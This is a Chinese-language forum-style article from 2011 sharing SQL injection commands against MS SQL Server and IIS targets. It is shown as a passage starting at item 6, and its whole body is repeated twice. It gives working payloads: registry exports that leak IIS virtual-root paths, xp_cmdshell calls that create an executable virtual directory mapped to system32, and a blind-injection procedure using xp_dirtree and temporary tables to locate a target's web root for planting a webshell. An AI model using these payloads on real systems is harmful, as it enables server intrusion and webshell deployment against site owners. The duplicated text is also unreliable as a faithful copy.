比較全的SQL注入相關(guān)的命令分享
作者: 來(lái)源: 發(fā)布時(shí)間:2011-6-15 15:18:23 點(diǎn)擊:
比如說(shuō),如果通過(guò)啟動(dòng)盤(pán)進(jìn)入DOS,則備份注冊(cè)表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",該命令的意思是把整個(gè)注冊(cè)表備份到WINDOWS目錄下,其文件名為"regedit.reg"。而如果輸入的是"regedit /E D:\regedit.reg"這條命令,則是說(shuō)把整個(gè)注冊(cè)表備份到D盤(pán)的根目錄下(省略了"/L"和"/R"參數(shù)),其文件名為"Regedit.reg"。
regedit /s c:\adam.reg (導(dǎo)入c:\adam.reg文件至注冊(cè)表)
regedit /e c:\web.reg (備份全部注冊(cè)內(nèi)容到c:\web.reg中)
針對(duì)win2000系統(tǒng):C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目標(biāo)IP/2.asp
針對(duì)win2003系統(tǒng):沒(méi)有找到,希望找到的朋友公布出來(lái)一起討論。
6)虛擬主機(jī)下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份文件,是允許web用戶(hù)訪問(wèn)的,如果你的iis備份到這里,用webshell下載下來(lái)后用記事本打開(kāi),可以獲取對(duì)應(yīng)的域名和web絕對(duì)路徑。
7)SQL注入建立虛擬目錄,有dbo權(quán)限下找不到web絕對(duì)路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運(yùn)行命令,但是卻很不容易找到web所在目錄,也就不好得到一個(gè)webshell,這一招不錯(cuò):
建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
讓win目錄具有解析asp腳本權(quán)限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
測(cè)試:http://127.0.0.1/win/test.asp
8)利用SQL語(yǔ)句來(lái)查找WEB目錄:根據(jù)經(jīng)驗(yàn),猜疑WEB根目錄的順序是:d盤(pán)、e盤(pán)、c盤(pán),首先我們建立一個(gè)臨時(shí)表用于存放master..xp_dirtree(適合于public)生成的目錄樹(shù),用以下語(yǔ)句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱(chēng),depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤(pán)的目錄樹(shù),語(yǔ)句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤(pán)有幾個(gè)文件夾,這樣對(duì)D盤(pán)有個(gè)大致的了解,語(yǔ)句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們?cè)趯?duì)方的網(wǎng)站上找?guī)讉(gè)一級(jí)子目錄,如user、photo,然后,用篩選的方法來(lái)判斷WEB根目錄上是否存在此盤(pán)上,語(yǔ)句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語(yǔ)句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤(pán)上,為了進(jìn)一步確認(rèn),多測(cè)試幾個(gè)子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測(cè)試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤(pán)上。
下面假設(shè)找到的WEB根目錄在此盤(pán)上,用以下的語(yǔ)句來(lái)獲得一級(jí)子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說(shuō)明user目錄是D盤(pán)的3級(jí)目錄,則WEB根目錄是D盤(pán)的二級(jí)目錄。
目前我們已經(jīng)知道了根目錄所在的盤(pán)符和深度,要找到根目錄的具體位置,我們來(lái)從D盤(pán)根目錄開(kāi)始逐一搜尋,當(dāng)然,沒(méi)有必要知道每個(gè)目錄的名稱(chēng),否則太耗費(fèi)時(shí)間了。
接下來(lái),另外建立一個(gè)臨時(shí)表,用來(lái)存放D盤(pán)的1級(jí)子目錄下的所有目錄,語(yǔ)句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤(pán)的第一個(gè)子目錄下的所有目錄存到temp1中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤(pán)的第二個(gè)子目錄下的所有目錄存到temp1中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤(pán)第一級(jí)子目錄下的所有目錄,然后,我們用同樣的方法來(lái)判斷根目錄是否在此一級(jí)子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測(cè)試幾個(gè)例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們?cè)谟猛瑯拥姆椒▉?lái)獲得D盤(pán)第2、3...個(gè)子目錄下的所有目錄列表,來(lái)判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤(pán)的第一級(jí)子目錄下,該子目錄名稱(chēng)為website,怎樣獲得這個(gè)目錄的名稱(chēng)我想不用我說(shuō)了吧。因?yàn)榍懊嫖覀冎懒薟EB根目錄的深度為2,我們需要知道website下到底哪個(gè)才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個(gè)臨時(shí)表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤(pán)的website下的所有目錄存到temp2中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤(pán)的website下第二個(gè)子目錄下的所有目錄存到temp2中,只需把第二個(gè)top 1改為top 2就行了。
regedit /s c:\adam.reg (導(dǎo)入c:\adam.reg文件至注冊(cè)表)
regedit /e c:\web.reg (備份全部注冊(cè)內(nèi)容到c:\web.reg中)
針對(duì)win2000系統(tǒng):C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目標(biāo)IP/2.asp
針對(duì)win2003系統(tǒng):沒(méi)有找到,希望找到的朋友公布出來(lái)一起討論。
6)虛擬主機(jī)下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份文件,是允許web用戶(hù)訪問(wèn)的,如果你的iis備份到這里,用webshell下載下來(lái)后用記事本打開(kāi),可以獲取對(duì)應(yīng)的域名和web絕對(duì)路徑。
7)SQL注入建立虛擬目錄,有dbo權(quán)限下找不到web絕對(duì)路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運(yùn)行命令,但是卻很不容易找到web所在目錄,也就不好得到一個(gè)webshell,這一招不錯(cuò):
建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
讓win目錄具有解析asp腳本權(quán)限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
測(cè)試:http://127.0.0.1/win/test.asp
8)利用SQL語(yǔ)句來(lái)查找WEB目錄:根據(jù)經(jīng)驗(yàn),猜疑WEB根目錄的順序是:d盤(pán)、e盤(pán)、c盤(pán),首先我們建立一個(gè)臨時(shí)表用于存放master..xp_dirtree(適合于public)生成的目錄樹(shù),用以下語(yǔ)句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱(chēng),depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤(pán)的目錄樹(shù),語(yǔ)句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤(pán)有幾個(gè)文件夾,這樣對(duì)D盤(pán)有個(gè)大致的了解,語(yǔ)句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們?cè)趯?duì)方的網(wǎng)站上找?guī)讉(gè)一級(jí)子目錄,如user、photo,然后,用篩選的方法來(lái)判斷WEB根目錄上是否存在此盤(pán)上,語(yǔ)句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語(yǔ)句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤(pán)上,為了進(jìn)一步確認(rèn),多測(cè)試幾個(gè)子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測(cè)試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤(pán)上。
下面假設(shè)找到的WEB根目錄在此盤(pán)上,用以下的語(yǔ)句來(lái)獲得一級(jí)子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說(shuō)明user目錄是D盤(pán)的3級(jí)目錄,則WEB根目錄是D盤(pán)的二級(jí)目錄。
目前我們已經(jīng)知道了根目錄所在的盤(pán)符和深度,要找到根目錄的具體位置,我們來(lái)從D盤(pán)根目錄開(kāi)始逐一搜尋,當(dāng)然,沒(méi)有必要知道每個(gè)目錄的名稱(chēng),否則太耗費(fèi)時(shí)間了。
接下來(lái),另外建立一個(gè)臨時(shí)表,用來(lái)存放D盤(pán)的1級(jí)子目錄下的所有目錄,語(yǔ)句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤(pán)的第一個(gè)子目錄下的所有目錄存到temp1中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤(pán)的第二個(gè)子目錄下的所有目錄存到temp1中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤(pán)第一級(jí)子目錄下的所有目錄,然后,我們用同樣的方法來(lái)判斷根目錄是否在此一級(jí)子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測(cè)試幾個(gè)例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們?cè)谟猛瑯拥姆椒▉?lái)獲得D盤(pán)第2、3...個(gè)子目錄下的所有目錄列表,來(lái)判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤(pán)的第一級(jí)子目錄下,該子目錄名稱(chēng)為website,怎樣獲得這個(gè)目錄的名稱(chēng)我想不用我說(shuō)了吧。因?yàn)榍懊嫖覀冎懒薟EB根目錄的深度為2,我們需要知道website下到底哪個(gè)才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個(gè)臨時(shí)表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤(pán)的website下的所有目錄存到temp2中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤(pán)的website下第二個(gè)子目錄下的所有目錄存到temp2中,只需把第二個(gè)top 1改為top 2就行了。
Tags:
比較全的SQL注入相關(guān)的命令分享上一篇:對(duì)XmlHttp研究的經(jīng)驗(yàn)分享 下一篇: 非數(shù)據(jù)庫(kù)實(shí)現(xiàn)數(shù)據(jù)對(duì)象的實(shí)例及說(shuō)明
[收藏此文章]